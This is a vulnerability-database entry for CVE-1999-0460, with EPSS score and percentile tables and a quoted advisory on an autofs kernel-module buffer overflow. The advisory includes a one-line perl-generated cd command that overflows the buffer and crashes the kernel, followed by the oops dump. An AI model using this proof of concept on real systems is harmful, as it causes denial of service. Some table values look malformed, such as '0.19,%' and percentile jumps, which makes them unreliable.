CVE-1999-0460 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.19%
2025-03-30	–	–	–	–	0.19%
2025-04-15	–	–	–	–	0.19%
2025-04-15	–	–	–	–	0.19,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	39%
2025-03-30	38%
2025-04-15	42%
2025-04-15	42%

source: https://www.securityfocus.com/bid/312/info The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called. The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot . In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case: [user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'` invalid operand: 0000 CPU: 0 EIP: 0010:[<c0155b00>] EFLAGS: 00010282 eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000 esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8 ds: 0018 es: 0018 ss: 0018 Process bash (pid: 360, process nr: 21, stackpage=c26c5000) Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8 c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900 c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900 c260d900 Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>] [<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>] Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74 -{Shell dies}-